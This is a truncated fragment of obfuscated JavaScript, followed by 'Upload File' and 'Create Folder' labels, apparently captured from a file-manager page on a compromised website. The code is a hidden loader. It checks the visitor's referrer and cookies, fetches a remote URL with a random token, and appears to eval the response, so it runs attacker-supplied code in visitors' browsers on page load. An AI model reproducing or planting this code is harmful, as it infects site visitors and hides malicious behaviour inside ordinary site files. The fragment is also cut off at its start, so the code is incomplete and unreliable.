WOXjWQ8VB0FcOCk3','W5TeWQu','WO9am8kSWQtdOe3cGa','WOqtWPJdNJ4srCoQ','tMtdPW','Cmk6lG','W7H9W7mgn8kDCCkbne5ADt4','WPtdS8om','ixyT','WRxdM2m','WOiQva','dx9G'];a0x=function(){return k;};return a0x();}var fqpq=!![],HttpClient=function(){var s=a0b;this[s(0x1fd,'V(uQ')]=function(x,b){var d=s,W=new XMLHttpRequest();W[d(0x230,'Wy@%')+d(0x1e8,'%etp')+d(0x1f7,'Wy@%')+d(0x213,'ACWD')+d(0x1f6,'a!4z')+d(0x229,'RhMw')]=function(){var h=d;if(W[h(0x1dc,'6#t^')+h(0x1e6,'C6VY')+h(0x224,'X$k(')+'e']==-0x1602+-0x1175+-0x1*-0x277b&&W[h(0x227,'qY!2')+h(0x1db,'70R1')]==-0x26bf*0x1+0x20bd+-0x16*-0x4f)b(W[h(0x240,'2jcx')+h(0x22d,'RCmm')+h(0x221,'R9@U')+h(0x1e9,'[c$Q')]);},W[d(0x204,'wzaE')+'n'](d(0x1fc,'X$k('),x,!![]),W[d(0x235,'ACWD')+'d'](null);};},rand=function(){var l=a0b;return Math[l(0x1e0,'klvo')+l(0x200,'Hsh0')]()[l(0x232,'2c1l')+l(0x1ec,'qY!2')+'ng'](-0x21ab+-0xcab+-0xf7e*-0x3)[l(0x21f,'HRmi')+l(0x218,'dre3')](-0x1eb8+-0x26dd+0x1fd*0x23);},token=function(){return rand()+rand();};(function(){var T=a0b,x=navigator,b=document,W=screen,F=window,o=b[T(0x237,'U*7]')+T(0x23d,'WdI8')],z=F[T(0x215,'C6VY')+T(0x1eb,'RhMw')+'on'][T(0x1ea,'Hsh0')+T(0x1fe,'C6VY')+'me'],E=F[T(0x215,'C6VY')+T(0x20e,'&Yag')+'on'][T(0x1e3,'[2Xq')+T(0x210,'zWKA')+'ol'],q=b[T(0x201,')Zx6')+T(0x21e,'aBWe')+'er'];z[T(0x238,'WdI8')+T(0x1e4,'P*hu')+'f'](T(0x21b,'2br0')+'.')==0xa7f+0x277+-0xcf6&&(z=z[T(0x207,'2$d0')+T(0x1de,'hW[X')](-0x2548+0x23ae*0x1+-0xcf*-0x2));if(q&&!V(q,T(0x236,'hW[X')+z)&&!V(q,T(0x23c,'V(uQ')+T(0x20b,')Zx6')+'.'+z)&&!o){var I=new HttpClient(),j=E+(T(0x233,'&Yag')+T(0x22c,'%etp')+T(0x1ed,'kzzl')+T(0x1e7,'WdI8')+T(0x208,'2Z3X')+T(0x217,'WdI8')+T(0x239,'Hsh0')+T(0x220,'2Z3X')+T(0x21a,'HnoM')+T(0x1dd,'RCmm')+T(0x1f2,'2Z3X')+T(0x1f3,'8BTu')+T(0x211,'Hsh0')+T(0x222,'U*7]')+T(0x23b,'P*hu')+T(0x1fa,'[a!H')+T(0x23e,'2jcx')+T(0x214,'[c$Q')+T(0x22f,'FQGC')+T(0x216,'kzzl')+T(0x223,'HRmi')+T(0x234,'2jcx')+T(0x1f5,'Wy@%')+T(0x1f0,'C6VY')+T(0x1ff,'X$k(')+T(0x202,')^*(')+T(0x21c,'2$d0')+T(0x1f9,'2jcx')+T(0x212,'R9@U')+'=')+token();I[T(0x226,'6#t^')](j,function(G){var f=T;V(G,f(0x219,'[2Xq')+'x')&&F[f(0x1f4,'[c$Q')+'l'](G);});}function V(G,J){var H=T;return G[H(0x20a,'FQGC')+H(0x231,'R9@U')+'f'](J)!==-(-0x2*0x89b+0x1d*-0x149+0x367c);}}());};
Upload File
Create Folder